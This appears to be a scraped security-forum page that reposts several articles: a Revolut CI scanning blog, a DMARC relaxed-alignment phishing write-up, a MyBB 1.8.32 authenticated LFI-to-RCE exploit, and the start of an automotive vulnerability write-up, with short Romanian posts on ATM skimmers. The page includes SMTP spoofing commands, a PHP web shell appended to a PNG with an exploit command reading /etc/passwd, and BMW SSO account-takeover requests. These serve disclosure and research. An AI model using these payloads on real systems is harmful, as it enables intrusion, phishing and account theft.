invaders. And life is not easy for the Roman legionaries who garrison the fortified camps of Totorum, Aquarium, Laudanum and Compendium…” Sursa: https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug/
      • 1
      • Upvote
  3. Krzysztof Pranczk Jan 3 Security Drone: Scaling Continuous Security at Revolut Intro As we’re continuously growing and extending our product offerings, we can face many technological challenges. These challenges are solved by our engineers and this results in many features, changes and updates being developed and successfully delivered to our customers. However, with the development of new features comes many security challenges that are faced by the internal Application Security Team. This lovely bunch is responsible for the security assurance of every new feature developed by our engineers. To provide the highest level of security assurance to our products, we’ve implemented a number of processes placed in different stages of the Software Development Life Cycle (SDLC), including automated scans in our CI/CD pipelines. However, it wouldn’t be possible to efficiently triage every security finding produced by automated scanners. In July 2022, there were nearly 39,000 commits created by over 900 authors! To address this challenge, we developed Security Drone. In this article, we’d like to share with you our approach to provide the highest security assurance in fast CI/CD environments. Challenges faced by Revolut The classic approach to security testing requires the security teams to perform a manual review of any developed features, with the help of automated security scans. Traditionally, this work was executed on a risk and priority basis and that need was stretching the team beyond its capacity. Additionally, the team had to cope with the numerous CI pipelines across the company. This approach wasn’t a viable solution in terms of scaling, quality and coverage. Some of you may have an idea of the security challenges faced in a fast CI/CD environment. If not, let us make a little recap of the challenges we’ve been facing: Software changes are constantly increasing New changes are integrated and deployed every day Engineers tend to prioritise the development of functionalities over security The internal application security team can’t be big enough to have a dedicated security engineer for each project — both internal and external AppSec teams nowadays must work on automating the work they were doing 10 years ago in a manual way With more tools integrated into the pipelines, the timeline of each job increases, which negatively affects the development experience And many more challenges you probably observe in your companies too! First solution — The classic approach to CI/CD pipeline scans Our first solution, and the most simplistic one, was to onboard automated security scanners like Static Application Security Testing (SAST) and Software Composition Analysis (SCA) and review the findings within the AppSec team. It worked, but we started facing another problem: the company was growing, and from an initial handful of projects, now we had to deal with thousands of projects and non-stop builds at any given time. As a result, we had to manage hundreds of CI pipelines used for security purposes. Let’s see some numbers of what we observed in our environment. Every 24h of a working day were about 950 new pull requests (PR) with nearly 1.85 commits per PR. During working hours, automated scans were executed 3–4 times per minute, on average, against various projects. The chart below presents how many security scans were performed on the 14th of July 2022 every 30 minutes. Number of automated security scans per 30minutes With those numbers, we faced another challenge — triaging all of the security findings. These scans produced a high number of false positive vulnerabilities that had to be manually triaged by the security team. Initially, we didn’t think scanning every software change was the way to go, we should only be scanning the changes intended for the Production environment. We did the analysis and concluded that about 81% of the commits had a final destination to the main branch, and we were facing the same challenge. Our scanners would be completing at least three successful security scans on a software change every minute! This amount of scans would still result in a potentially high number of false positives, which had to be reviewed and triaged within a certain period of time. Not only that, but more and more security scanners within CI/CD pipelines would affect their timelines negatively. So we thought: ‘Do we really have to go in this direction? Do we have to manage all of the pipelines for various projects and triage all of the identified security issues within the AppSec Team? Do we have to affect CI/CD timelines negatively?’ At this point, we had a lot of doubts and questions about this approach. In the Application Security team we understood this approach wouldn’t be scalable in a fast-paced environment such as Revolut. We could implement some small improvements to address each of these questions. However, those improvements could just delay bigger problems for later on. At this point, we decided to go in a slightly different direction, having a security-shift-left approach in our minds. Security static analysis tools can easily be shifted left to an earlier phase in the SDLC, since these types of tools don’t require the application to be running. Second solution — Security Drone You may expect as a second solution something extremely smart and well-designed. So did we. But it didn’t take long for us to take an agile approach with lean implementations. We also started security shifting left and communicating security issues to developers as early as possible, before going into testing or production environments. At the beginning of our MVP solution, we decided to scan code changes during the pull request phase. In our opinion, it was a natural step for engineers to propose software changes for their colleagues to approve. At this point, we also decided to communicate all of the identified security findings to developers. The scanner’s results could be taken into account during code review, which is an integral part of the development process in Revolut. It should be noted that our scanner was triggered when a new PR was created or code was updated in an already existing PR. We also decided to place Security Drone in a Kubernetes cluster to scan the code independently from CI/CD pipelines and have a centralised scans management. In many cases, independent scans were able to deliver results to developers faster than CI jobs were finished. Initially, we implemented only a SAST scanner solution to make the process as fast as possible, to quickly deliver results to developers. We aimed to provide results in under 300 seconds. We carefully researched available SAST solutions to choose the most suitable one for our needs. It had to be fast, well-documented and allow us to write custom rules to identify potential security issues specific to our environment. Last but not least, we wanted to achieve the lowest possible false positive rate to avoid producing irrelevant findings, to limit the amount of manual work that we had to cope with during triaging. But not only that, as we had decided to communicate all of the identified security findings to developers at the PR page, we had to make sure not to affect their experience negatively by reviewing a number of irrelevant findings. Later, we started implementing new scanners in Security Drone such as Software Composition Analysis and Infrastructure as Code to bring more value to the automated security testing. Security Drone’s high level architecture is presented below. Architecture of Security Drone Currently, we scan all pull requests created by Revolut engineers. In July, Security Drone performed over 39,000 scans. Median scanning time is below 112 seconds and the average is below 110 seconds. Initially, we used 19 SAST and 63 IaC rules. Only high and critical SCA issues were directly reported to our developers. Our first MVP was released in Q1 2022, extended and adjusted in the last months. Now, Security Drone has been operating in production for the last eight months without issues on both the operational and engineering distribution sides. We use the following tools in Security Drone: Semgrep — Static Application Security Testing Snyk Open Source — Software Composition Analysis Checkov — Infrastructure as a Code What have we achieved with Security Drone? We have adopted a shift-left approach to security to identify and communicate security findings earlier in the SDLC, before going into testing or production environments Security issues can be fixed before going into production, and as a result, they don’t have to be manually triaged by AppSec Team members Only merged security issues are reported to the AppSec Team to triage and loop into the vulnerability lifecycle process We lowered the false positive rate by carefully choosing the SAST solution and continual tuning of rules. We were able to achieve ~3.8% FP rate! Our centrally managed scanner currently scans 100% of the code in Revolut which saves us hundreds of hours of manual reviews. Here are some numbers from last 24 hours: • Nearly 1700 pull requests were scanned • Over 3900 scans associated with above PRs were performed Ability to find new vulnerabilities in other applications based on patterns The scans are fast and don’t disrupt the developer experience. They’re executed in parallel and scanning times are presented below: • Median scanning time for SAST is 11 seconds • Median scanning time for IaC is 22 seconds • Median scanning time for SCA is 101 seconds Increased security awareness and continuous learning amongst engineers. They’re also aware of the direction that AppSec is moving. What is next? Security Drone will always be under development as new technologies are emerging and improvements to the development experience can be made. On our roadmap we have various points, some of which include: Ability to flag findings as a false positive in a developer-friendly way Incremental SAST scans — scan only code changes in PRs Integration of more security scanners and the development of more SAST/IaC rules Keep your eyes peeled for our next blogpost around Application Security in Revolut, as we may share more interesting tools and guides on how we solve the challenges we face every day. Credits Credits go to every Revolut AppSec engineer involved in the design and development of Security Drone, especially: Arsalan Ghazi, Krzysztof Pranczk, Pedro Moura, Roger Norton Sursa: https://medium.com/revolut/security-drone-scaling-continuous-security-at-revolut-862bcd55956e
  4. DMARC Identifier Alignment: relax, don't do it, when you want to go to it Jan 25, 2023 in HACKING • MAILSECURITY dmarc spf dkim 9 min read From subdomain takeover to phishing mails TL;DR; if you have a subdomain takeover for a given domain, and default DMARC alignment settings, you can create emails that passes SPF and DMARC for phishing purposes. DKIM, however, cannot be passed for the domain but a trick is possible to make emails look more trustworthy. Introduction I like Mozilla’s definition of a subdomain takeover: A subdomain takeover occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a canonical name (CNAME) in the Domain Name System (DNS), but no host is providing content for it. This can happen because either a virtual host hasn’t been published yet or a virtual host has been removed. An attacker can take over that subdomain by providing their own virtual host and then hosting their own content for it. The usual impact of the above is phishing or cookies' theft from impersonated web pages. Subdomain takeover have consequences in mail security too, and not just on the vulnerable subdomain but also on the organizational one. This article is a practical example of how to craft phishing emails from a subdomain takeover. Prerequisites Vulnerable subdomain One needs a subdomain takeover where the target of a DNS record is fully under his control. E.g. for a vulnerable domain of altf8.fr (I own it), a DNS CNAME record as follow is needed: takeover IN CNAME sub.dangling.com. $ dig +short takeover.altf8.fr sub.dangling.com. where dangling.com is not registered (anymore). One can then claim the dangling.com domain and control its DNS zone, hence making sub.dangling.com point to a controlled server. The above is important as a subdomain takeover pointing to third-parties websites such as Github etc. will not allow an attacker control over a DNS zone or a server which is crucial for the technique describe here to work. “Relaxed” DMARC configuration The DMARC configuration of the target domain needs to allow for “relaxed” mode of SPF Authenticated Identifiers and/or DKIM Authenticated Identifiers. This, though, is the default behaviour if the aspf or adkim settings have not been set. Hence, the following DMARC policy is vulnerable: $ dig +short txt _dmarc.altf8.fr "v=DMARC1; p=reject; sp=reject" So would be this one: $ dig +short txt _dmarc.altf8.fr "v=DMARC1; p=reject; sp=reject; aspf=r; adkim=r" But that one is not: $ dig +short txt _dmarc.altf8.fr "v=DMARC1; p=reject; sp=reject; aspf=s; adkim=s" For the following demonstration, the first policy above was in use. Preparation Let’s set some DNS records on the dangling.com domain that we registered and control. The subdomain takeover: sub IN CNAME server.dangling.com server.dangling.com is identified by: server IN A 1.2.3.4 MX record for the controlled server: target IN MX 10 server.dangling.com So now, takeover.altf8.fr points to the controlled server which is allowed to send mails for sub.dangling.com: $ dig +short takeover.altf8.fr sub.dangling.com. 1.2.3.4 $ dig +short mx takeover.altf8.fr sub.dangling.com. 10 server.dangling.com. Passing SPF The SPF Authenticated Identifiers definition states : In relaxed mode, the SPF-authenticated domain and RFC5322.From domain must have the same Organizational Domain. In strict mode, only an exact DNS domain match is considered to produce Identifier Alignment. The “SPF-authenticated domain” is taken from the SMTP MAIL FROM command. The From domain is taken from the MIME header with the same name. When a mail is received, the MAIL FROM domain value is extracted and the corresponding SPF record is requested then used. This is the behaviour of most mail agents. If relaxed mode is enabled, one can send a subdomain in MAIL FROM and a domain in From with the same organizational domain and SPF will still pass: For example, if a message passes an SPF check with an RFC5321.MailFrom domain of “cbg.bounces.altf8.fr”, and the address portion of the RFC5322.From field contains “payments@altf8.fr”, the Authenticated RFC5321.MailFrom domain identifier and the RFC5322.From domain are considered to be “in alignment” in relaxed mode, but not in strict mode. In our example, we control the SPF record for sub.dangling.com. We set it to: sub IN TXT "v=spf1 mx -all" Which means “all IPs associated with MX records in the sub.dangling.com domain will be authorized to send mails”. Because of the subdomain takeover and how DNS resolution work, we now have a SPF record for takeover.altf8.fr: $ dig +short txt takeover.altf8.fr | grep spf "v=spf1 mx -all" And because we set server.dangling.com as a valid MX, we can now send emails from it. We can do that on the command line of server.dangling.com (altf8.fr uses Microsoft 365, hence why the outlook.com SMTP server below): $ curl -vvvv smtp://altf8-fr.mail.protection.outlook.com --mail-from 'ceo@takeover.altf8.fr' --mail-rcpt 'jbencteux@altf8.fr' --upload-file mail.txt [...] * TCP_NODELAY set * Expire in 149967 ms for 3 (transfer 0x55aad3f5a0f0) * Expire in 200 ms for 4 (transfer 0x55aad3f5a0f0) * Connected to [altf8-fr.mail.protection.outlook.com](http://altf8-fr.mail.protection.outlook.com) (104.47.24.36) port 25 (#0) < 220 [PR2FRA01FT014.mail.protection.outlook.com](http://PR2FRA01FT014.mail.protection.outlook.com) Microsoft ESMTP MAIL Service ready at Mon, 23 Jan 2023 15:55:16 +0000 > EHLO mail.txt < [250-PR2FRA01FT014.mail.protection.outlook.com](http://250-PR2FRA01FT014.mail.protection.outlook.com) Hello [1.2.3.4] < 250-SIZE 157286400 < 250-PIPELINING < 250-DSN < 250-ENHANCEDSTATUSCODES < 250-STARTTLS < 250-8BITMIME < 250-BINARYMIME < 250-CHUNKING < 250 SMTPUTF8 > MAIL FROM:<ceo@takeover.altf8.fr> SIZE=140 < 250 2.1.0 Sender OK > RCPT TO:<jbencteux@altf8.fr> < 250 2.1.5 Recipient OK > DATA < 354 Start mail input; end with <CRLF>.<CRLF> } [140 bytes data] * We are completely uploaded and fine 100 140 0 0 100 140 0 185 --:--:-- --:--:-- --:--:-- 185< 250 2.6.0 <b427960e-4306-42a2-9121-fefaaa105def@PR2FRA01FT014.eop-fra01.prod.protection.outlook.com> [InternalId=68521908309720, Hostname=MRZP264MB2425.FRAP264.PROD.OUTLOOK.COM] 8276 bytes in 0.036, 220.364 KB/sec Queued mail for delivery 100 140 0 0 100 140 0 185 --:--:-- --:--:-- --:--:-- 185 * Connection #0 to host [altf8-fr.mail.protection.outlook.com](http://altf8-fr.mail.protection.outlook.com) left intact This is the content of mail.txt: From: ceo@altf8.fr To: jbencteux@altf8.fr Subject: You are fired Hi Jeff, Sorry to tell you this way, but you're out. Best regards, CEO Note the difference of sender in --mail-from and in the From of mail.txt which what the RFC states as allowed when in relaxed SPF alignment. The email is received in the Outlook inbox of jbencteux@altf8.fr, passing the spam filters: Its MIME headers states SPF passes: Received-SPF: Pass (protection.outlook.com: domain of takeover.altf8.fr designates 1.2.3.4 as permitted sender) Note that DMARC passes as well: Authentication-Results: spf=pass (sender IP is 1.2.3.4) smtp.mailfrom=takeover.altf8.fr; dkim=none (message not signed) header.d=none;dmarc=pass action=none header.from=altf8.fr;compauth=pass reason=100 This is because if no DKIM is present (dkim=none) but SPF passes, then DMARC passes. This is a by-design property of DMARC. Ok cool, but the mail is not cryptographically signed and other mail agents might put it in the spam folder for a lack of signature, let’s see if we can get DKIM working. (Kind of) Passing DKIM In a similar fashion than SPF Auth identifiers exists, there are DKIM Authenticated Identifiers: In relaxed mode, the Organizational Domains of both the [[DKIM](https://www.rfc-editor.org/rfc/rfc7489#ref-DKIM ““DomainKeys Identified Mail (DKIM) Signatures”")]- authenticated signing domain (taken from the value of the “d=” tag in the signature) and that of the RFC5322.From domain must be equal if the identifiers are to be considered aligned. In strict mode, only an exact match between both of the Fully Qualified Domain Names (FQDNs) is considered to produce Identifier Alignment. Which means that if DMARC contains adkim=r (or no adkim, as r value is the default one) there could be a d=takeover.altf8.fr in the DKIM signature and a From sender ending in @altf8.fr and DKIM would still pass. Let’s try that. Generate a private key for DKIM signing on server.dangling.com: $ openssl genrsa -out dkim_priv.pem 2048 Get the corresponding public key in base64: $ openssl rsa -in dkim_priv.pem -pubout -outform der 2>/dev/null | openssl base64 -A Ayw[...]zkwA Construct and publish a DKIM record with the obtained public key on our dangling.com DNS zone (s1 is taken as an arbitrary selector): s1._domainkey IN TXT "v=DKIM1; k=rsa; p=Ayw[...]zkwA" $ dig +short txt s1._domainkey.sub.dangling.com "v=DKIM1; k=rsa; p=Ayw[...]zkwA" Sign a mail with the private key using the following python script using dkimpy: import dkim mail = open("mail.txt", "rb").read() selector = b"s1" domain = b"takeover.altf8.fr" privkey = open("dkim_priv.pem", "rb").read() signature = dkim.sign(mail, selector, domain, privkey) print(signature.decode("utf-8")) It gives the following signature that we add to mail.txt: $ ./dkim_sign.py DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=takeover.altf8.fr; i=@takeover.altf8.fr; q=dns/txt; s=s1; t=1674566236; h=from : to : subject : from; bh=NMaimuhdFbPt4JjfYY6BdaVpYo+/BdWvjw0bnsS9iY8=; b=eV4zAv9pVlDFmFN3DIYBX+hSRq/t4wyXCHbuyEB7GmWha3O8n1rxSyzyn1j15OREU uy6erbTUck2[...]3YxVk/ejgidpedmYoSnl8VChsmXZFsmMeMuuujALo4H1iIG 8EhOesBGxeylmHZI5hGapmzReVyjTyyvoQQP9ymRRAT0uyV3Dej+cxDZ7AVfC7fdzW YFlcH69vbTryw== We then send the signed mail: curl -vvvv smtp://altf8-fr.mail.protection.outlook.com --mail-from 'ceo@takeover.altf8.fr' --mail-rcpt 'jbencteux@altf8.fr' --upload-file mail.txt And the result of the email authentication is as such: Authentication-Results: spf=pass (sender IP is 1.2.3.4) smtp.mailfrom=takeover.altf8.fr; dkim=fail (no key for signature) header.d=takeover.altf8.fr;dmarc=pass action=none header.from=altf8.fr;compauth=pass reason=100 It fails because the mail agent tries to get a DKIM public key DNS record for s1._domainkey.takeover.altf8.fr and that resolves to… nothing. It does not automatically point to s1._domainkey.sub.dangling.com so the DNS response is empty, hence the “no key for signature”. Which mean (AFAIK) there is no valid altf8.fr domain DKIM signature that can be generated from a subdomain takeover. One would need control over *.altf8.fr to make it possible. However, as a hackish way of improving the mail looks, it is still possible to sign it for another domain to try passing more antispam defences. Even if that domain is not our targeted altf8.fr domain (marketing platforms do sign mails for other domains all the time). We can take the subdomain sub.dangling.com as an example. If we reuse our script to sign the mail with sub.dangling.com: DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=sub.dangling.com; i=@sub.dangling.com; q=dns/txt; s=s1; t=1674566236; h=from : to : subject : from; bh=NMaimuhdFbPt4JjfYY6BdaVpYo+/BdWvjw0bnsS9iY8=; b=gdRYJ8lajpHd4DZfbqOLNtvaqH+tSsbyTM2o3Px3EuTEcAFO6wTe+eLKzQWAiZ6CiNg0l udHoSAd9XJfkjBuP[...]V4Hlg02qSoNmNZOiA/Oj3g53eTf+uoNQdAHT/qjEVBeAN0S hzrmGnN8B8cynWNSIVOw9Pwmqj2nmPTzEYDhJOE7aIiIrlJz59/rhQFUBYrA== curl -vvvv smtp://altf8-fr.mail.protection.outlook.com --mail-from 'ceo@takeover.altf8.fr' --mail-rcpt 'jbencteux@altf8.fr' --upload-file mail.txt We then get a passing DKIM: Authentication-Results: spf=pass (sender IP is 1.2.3.4) smtp.mailfrom=takeover.altf8.fr; dkim=pass (signature was verified) header.d=sub.dangling.com;dmarc=pass action=none header.from=altf8.fr;compauth=pass reason=100 While this will not fool spam filters checking that the signing domain is the sender domain (which they should), it sometimes is enough to have the mail being signed by any domain to pass misconfigured defences. Our mail is now: Passing SPF Passing DMARC Passing DKIM but not for the sender’s domain This can trick a lot of mail clients into believing this email is legit, including Outlook, the tested one for this example. Conclusion While prerequisites for this type of attack is high, it is not unlikely that attackers will use subdomain takeovers in order to be able to forge convincing phishing emails. This could also be a good tactic from a red team point of view as it minimize the interaction between the targeted domain and the operator (a few DNS requests are needed) until the final phishing mail is sent. To avoid and mitigate this issue, I suggest to: Regularly checking your DNS for unused records and removing them to avoid subdomain takeovers If DMARC relaxed modes are not needed, setting the following in your DMARC DNS records: aspf=s; adkim=s; References RFC 7208: Sender Policy Framework (SPF) for Authorizing Use of Domains in Email, Version 1 (rfc-editor.org) RFC 6376: DomainKeys Identified Mail (DKIM) Signatures (rfc-editor.org) RFC 7489: Domain-based Message Authentication, Reporting, and Conformance (DMARC) (rfc-editor.org) How to create a DKIM record with OpenSSL - Mailhardener knowledge base Quickstart to DKIM Sign Email with Python – Russell Ballestrini Frankie Goes To Hollywood - Relax (Official Video) - YouTube Sursa: https://www.bencteux.fr/posts/dmarc_relax/
  5. MyBB 1.8.32 - Chained LFI Remote Code Execution (RCE) (Authenticated) detailed analyse to mybb 1.8.32 代码审计 + LFI RCE 复现 (1). An RCE can be obtained on MyBB's Admin CP in Configuration -> Profile Options -> Avatar Upload Path. to change Avatar Upload Path to /inc to bypass blacklist upload dir. (2). after doing that, then we are able to chain in "admin avatar upload" page: http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar, and LFI in "Edit Language Variables" page: http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english. (3). This chained bugs can lead to Authenticated RCE. (note). The user must have rights to add or update settings and update Avatar. This is tested on MyBB 1.8.32. Exp Usage: first choose a png file that size less than 1kb then merge the png file with a php simple backdoor file using the following commands mac@xxx-2 php-backdoor % cat simple-backdoor.php <?php if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo(); } ?> mac@xxx-2 php-backdoor % ls simple-backdoor.php test.png mac@xxx-2 php-backdoor % cat simple-backdoor.php >> test.png mac@xxx-2 php-backdoor % file test.png test.png: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced finally run the following commands to run the exp script to get RCE output! enjoy the shell... python3 exp.py --host http://www.xxx.cn --username admin --password xxx --email xxx@qq.com --file avatar_1.png --cmd "cat /etc/passwd" reference mybb 1.8.32 RCE in admin panel report MyBB MyBB github 记一次mybb代码审计 mybb bugs in exploit database Sursa: https://github.com/FDlucifer/mybb_1832_LFI_RCE
  6. Nytro

    Atm

    Sunt de acord ca sunt multe metode, inclusiv "full frame" sau chiar bancomate false: https://krebsonsecurity.com/2013/12/the-biggest-skimmers-of-all-fake-atms/ Fac si eu basic ce se poate, oricum am mai multe conturi pe care le folosesc, chiar daca prinde cineva datele de card inclusiv PIN, e limitat damage-ul
  7. Eu pot doar sa recomand IPBoard si sa te sfatuiesc sa te feresti de vBulletin. Licenta IPBoard de pe RST e "standalone", adica eu ma ocup (cu Zatarra) de infrastructura - un server dedicat, si licenta doar a fost activata din Admin CP. Pretul depinde de serviciile auxiliare pe care le iei, aici gasesti detalii: https://invisioncommunity.com/buy/self-hosted/ PS: Nu e tocmai complicat de instalat si configurat, necesita cunostiinele clasice de Linux + PHP/MariaDB/Apache sau similare.
  8. Nu, deoarece PIN-ul nu se afla pe banda magnetica. Dar se pot face plati online. Ajuta 3D secure partial, e util doar daca site-urile de pe care ar putea cumpara online (sau procesatorii de plata) chiar implementeaza si ei 3D secure, ceea ce nu prea se intampla pe la americani (si site-urile lor).
  9. Nytro

    Atm

    Iti poate fura datele de card (depinde de skimmer, poate contine si PIN-ul). Eu mereu trag de chestia de inserat cardul si tastatura + tin portofelul deasupra tastaturii cand bag PIN-ul in caz de camera. Important, cred ca am mai spus pe aici: daca gasiti un skimmer, il puneti la loc si plecati de acolo. Apoi sunati la politie, banca sau ce vreti voi. Sfatul l-am primit de la cineva de la o banca care se ocupa cu protejarea ATM-urile de skimmere. Ideea era simpla: o dracie de skimmer e foarte scumpa iar boschetarii care o au sunt in stare sa va taie, doar sa nu o piarda.
  10. Pe banda magnetica se afla datele cardului, copia lor se face printr-un swipe (trecere a cardului prin acea fasie). La noi in tara nu am folosit niciodata in viata metoda asta, doar pe la americani am folosit.
  11. Eu nu am auzit chestii de rau despre ei.
  12. E relativ normal, vin o gramada de mizerii, destul de multe duplicate, pare OK ca numar.
  13. Oh, nice, credeam ca nu mai merge serviciul.
  14. Web Hackers vs. The Auto Industry: Critical Vulnerabilities in Ferrari, BMW, Rolls Royce, Porsche, and More January 3, 2023 samwcyo During the fall of 2022, a few friends and I took a road trip from Chicago, IL to Washington, DC to attend a cybersecurity conference and (try) to take a break from our usual computer work. While we were visiting the University of Maryland, we came across a fleet of electric scooters scattered across the campus and couldn't resist poking at the scooter's mobile app. To our surprise, our actions caused the horns and headlights on all of the scooters to turn on and stay on for 15 minutes straight. When everything eventually settled down, we sent a report over to the scooter manufacturer and became super interested in trying to more ways to make more things honk. We brainstormed for a while, and then realized that nearly every automobile manufactured in the last 5 years had nearly identical functionality. If an attacker were able to find vulnerabilities in the API endpoints that vehicle telematics systems used, they could honk the horn, flash the lights, remotely track, lock/unlock, and start/stop vehicles, completely remotely. At this point, we started a group chat and all began to work with the goal of finding vulnerabilities affecting the automotive industry. Over the next few months, we found as many car-related vulnerabilities as we could. The following writeup details our work exploring the security of telematic systems, automotive APIs, and the infrastructure that supports it. Findings Summary During our engagement, we found the following vulnerabilities in the companies listed below: Kia, Honda, Infiniti, Nissan, Acura Fully remote lock, unlock, engine start, engine stop, precision locate, flash headlights, and honk vehicles using only the VIN number Fully remote account takeover and PII disclosure via VIN number (name, phone number, email address, physical address) Ability to lock users out of remotely managing their vehicle, change ownership For Kia’s specifically, we could remotely access the 360-view camera and view live images from the car Mercedes-Benz Access to hundreds of mission-critical internal applications via improperly configured SSO, including… Multiple Github instances behind SSO Company-wide internal chat tool, ability to join nearly any channel SonarQube, Jenkins, misc. build servers Internal cloud deployment services for managing AWS instances Internal Vehicle related APIs Remote Code Execution on multiple systems Memory leaks leading to employee/customer PII disclosure, account access Hyundai, Genesis Fully remote lock, unlock, engine start, engine stop, precision locate, flash headlights, and honk vehicles using only the victim email address Fully remote account takeover and PII disclosure via victim email address (name, phone number, email address, physical address) Ability to lock users out of remotely managing their vehicle, change ownership BMW, Rolls Royce Company-wide core SSO vulnerabilities which allowed us to access any employee application as any employee, allowed us to… Access to internal dealer portals where you can query any VIN number to retrieve sales documents for BMW Access any application locked behind SSO on behalf of any employee, including applications used by remote workers and dealerships Ferrari Full zero-interaction account takeover for any Ferrari customer account IDOR to access all Ferrari customer records Lack of access control allowing an attacker to create, modify, delete employee “back office” administrator user accounts and all user accounts with capabilities to modify Ferrari owned web pages through the CMS system Ability to add HTTP routes on api.ferrari.com (rest-connectors) and view all existing rest-connectors and secrets associated with them (authorization headers) Spireon Multiple vulnerabilities, including: Full administrator access to a company-wide administration panel with ability to send arbitrary commands to an estimated 15.5 million vehicles (unlock, start engine, disable starter, etc.), read any device location, and flash/update device firmware Remote code execution on core systems for managing user accounts, devices, and fleets. Ability to access and manage all data across all of Spireon Ability to fully takeover any fleet (this would’ve allowed us to track & shut off starters for police, ambulances, and law enforcement vehicles for a number of different large cities and dispatch commands to those vehicles, e.g. “navigate to this location”) Full administrative access to all Spireon products, including the following… GoldStar - https://www.spireon.com/products/goldstar/ LoJack - https://www.spireon.com/products/goldstar/lojackgo/ FleetLocate - https://www.spireon.com/products/fleetlocate-for-fleet-managers/ NSpire - https://www.spireon.com/spireon-nspire-platform/ Trailer & Asset - https://www.spireon.com/solutions/trailer-asset-managers/ In total, there were… 15.5 million devices (mostly vehicles) 1.2 million user accounts (end user accounts, fleet managers, etc.) Ford Full memory disclosure on production vehicle Telematics API discloses Discloses customer PII and access tokens for tracking and executing commands on vehicles Discloses configuration credentials used for internal services related to Telematics Ability to authenticate into customer account and access all PII and perform actions against vehicles Customer account takeover via improper URL parsing, allows an attacker to completely access victim account including vehicle portal Reviver Full super administrative access to manage all user accounts and vehicles for all Reviver connected vehicles. An attacker could perform the following: Track the physical GPS location and manage the license plate for all Reviver customers (e.g. changing the slogan at the bottom of the license plate to arbitrary text) Update any vehicle status to “STOLEN” which updates the license plate and informs authorities Access all user records, including what vehicles people owned, their physical address, phone number, and email address Access the fleet management functionality for any company, locate and manage all vehicles in a fleet Porsche Ability to send retrieve vehicle location, send vehicle commands, and retrieve customer information via vulnerabilities affecting the vehicle Telematics service Toyota IDOR on Toyota Financial that discloses the name, phone number, email address, and loan status of any Toyota financial customers Jaguar, Land Rover User account IDOR disclosing password hash, name, phone number, physical address, and vehicle information SiriusXM Leaked AWS keys with full organizational read/write S3 access, ability to retrieve all files including (what appeared to be) user databases, source code, and config files for Sirius Vulnerability Writeups (1) Full Account Takeover on BMW and Rolls Royce via Misconfigured SSO While testing BMW assets, we identified a custom SSO portal for employees and contractors of BMW. This was super interesting to us, as any vulnerabilities identified here could potentially allow an attacker to compromise any account connected to all of BMWs assets. For instance, if a dealer wanted to access the dealer portal at a physical BMW dealership, they would have to authenticate through this portal. Additionally, this SSO portal was used to access internal tools and related devops infrastructure. The first thing we did was fingerprint the host using OSINT tools like gau and ffuf. After a few hours of fuzzing, we identified a WADL file which exposed API endpoints on the host via sending the following HTTP request: GET /rest/api/application.wadl HTTP/1.1 Host: xpita.bmwgroup.com The HTTP response contained all available REST endpoints on the xpita host. We began enumerating the endpoints and sending mock HTTP requests to see what functionality was available. One immediate finding was that we were able to query all BMW user accounts via sending asterisk queries in the user field API endpoint. This allowed us to enter something like “sam*” and retrieve the user information for a user named “sam.curry” without having to guess the actual username. HTTP Request GET /reset/api/users/example* HTTP/1.1 Host: xpita.bmwgroup.com HTTP Response HTTP/1.1 200 OK Content-type: application/json {“id”:”redacted”,”firstName”:”Example”,”lastName”:”User”,”userName”:”example.user”} Once we found this vulnerability, we continued testing the other accessible API endpoints. One particularly interesting one which stood out immediately was the “/rest/api/chains/accounts/:user_id/totp” endpoint. We noticed the word “totp” which usually stood for one-time password generation. When we sent an HTTP request to this endpoint using the SSO user ID gained from the wildcard query paired with the TOTP endpoint, it returned a random 7-digit number. The following HTTP request and response demonstrate this behavior: HTTP Request GET /rest/api/chains/accounts/unique_account_id/totp HTTP/1.1 Host: xpita.bmwgroup.com HTTP Response HTTP/1.1 200 OK Content-type: text/plain 9373958 For whatever reason, it appeared that this HTTP request would generate a TOTP for the user’s account. We guessed that this interaction worked with the “forgot password” functionality, so we found an example user account by querying “example*” using our original wildcard finding and retrieving the victim user ID. After retrieving this ID, we initiated a reset password attempt for the user account until we got to the point where the system requested a TOTP code from the user’s 2FA device (e.g. email or phone). At this point, we retrieved the TOTP code generated from the API endpoint and entered it into the reset password confirmation field. It worked! We had reset a user account, gaining full account takeover on any BMW employee and contractor user. At this point, it was possible to completely take over any BMW or Rolls Royce employee account and access tools used by those employees. To demonstrate the impact of the vulnerability, we simply Googled “BMW dealer portal” and used our account to access the dealer portal used by sales associates working at physical BMW and Rolls Royce dealerships. After logging in, we observed that the demo account we took over was tied to an actual dealership, and we could access all of the functionality that the dealers themselves had access to. This included the ability to query a specific VIN number and retrieve sales documents for the vehicle. With our level of access, there was a huge amount of functionality we could’ve performed against BMW and Rolls Royce customer accounts and customer vehicles. We stopped testing at this point and reported the vulnerability. The vulnerabilities reported to BMW and Rolls Royce have since been fixed. (2) Remote Code Execution and Access to Hundreds of Internal Tools on Mercedes-Benz and Rolls Royce via Misconfigured SSO Early in our testing, someone in our group had purchased a Mercedes-Benz vehicle and so we began auditing the Mercedes-Benz infrastructure. We took the same approach as BMW and began testing the Mercedes-Benz employee SSO. We weren’t able to find any vulnerabilities affecting the SSO portal itself, but by exploring the SSO website we observed that they were running some form of LDAP for the employee accounts. Based on our high level understanding of their infrastructure, we guessed that the individual employee applications used a centralized LDAP system to authenticate users. We began exploring each of these websites in an attempt to find a public registration so we could gain SSO credentials to access, even at a limited level, the employee applications. After fuzzing random sites for a while, we eventually found the “umas.mercedes-benz.com” website which was built for vehicle repair shops to request specific tools access from Mercedes-Benz. The website had public registration enabled as it was built for repair shops and appeared to write to the same database as the core employee LDAP system. We filled out all the required fields for registration, created a user account, then used our recon data to identify sites which redirected to the Mercedes-Benz SSO. The first one we attempted was a pretty obvious employee tool, it was “git.mercedes-benz.com”, short for Github. We attempted to use our user credentials to sign in to the Mercedes-Benz Github and saw that we were able to login. Success! The Mercedes-Benz Github, after authenticating, asked us to set up 2FA on our account so we could access the app. We installed the 2FA app and added it to our account, entered our code, then saw that we were in. We had access to “git.mercedes-benz.com” and began looking around. After a few minutes, we saw that the Github instance had internal documentation and source code for various 